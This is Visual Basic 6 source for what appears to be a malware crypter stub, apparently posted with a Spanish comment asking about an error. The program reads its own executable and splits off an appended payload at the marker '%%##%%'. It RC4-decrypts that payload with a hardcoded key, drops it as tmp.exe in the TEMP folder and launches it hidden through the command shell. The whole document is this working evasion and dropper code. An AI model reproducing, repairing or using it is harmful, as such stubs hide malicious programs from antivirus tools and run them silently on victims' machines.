Option Explicit
Sub Main()
Dim Yo As String, Datos As String, sData() As String
Yo = App.Path & "\" & App.EXEName & ".exe"
 
Open Yo For Binary As #1
    Datos = Space(LOF(1))
    Get #1, , Datos
Close #1
 
sData() = Split(Datos, "%%##%%")
 
sData(1) = RC4(sData(1), "ma5t3r") 'linea que me tira el error

Open Environ("TEMP") & "\tmp.exe" For Binary As #1
    Put #1, , sData(1)
Close #1
 
Shell Environ("ComSpec") & " /c start " & Environ("TEMP") & "\tmp.exe", vbHide
 
End Sub
Private Function RC4(ByVal expresion As String, ByVal password As String) As String
    Dim i As Integer, j As Integer, t As Integer, tmp As Integer, s(256) As Integer, k(256) As Integer
    Dim key() As Byte, byteArray() As Byte
    Dim i2 As Long
 
    key() = StrConv(password, vbFromUnicode)
    For i = 0 To 255
        s(i) = i
        k(i) = key(i Mod Len(password))
    Next i
    For i = 0 To 255
        j = (j + s(i) + k(i)) Mod 256
        tmp = s(i)
        s(i) = s(j)
        s(j) = tmp
    Next i
    byteArray() = StrConv(expresion, vbFromUnicode)
    i = 0
    j = 0
    For i2 = 0 To Len(expresion) - 1
        i = (i + 1) Mod 256
        j = (j + s(i)) Mod 256
        tmp = s(i)
        s(i) = s(j)
        s(j) = tmp
        t = (s(i) + s(j)) Mod 256
        byteArray(i2) = byteArray(i2) Xor s(t)
    Next i2
    RC4 = StrConv(byteArray, vbUnicode)
End Function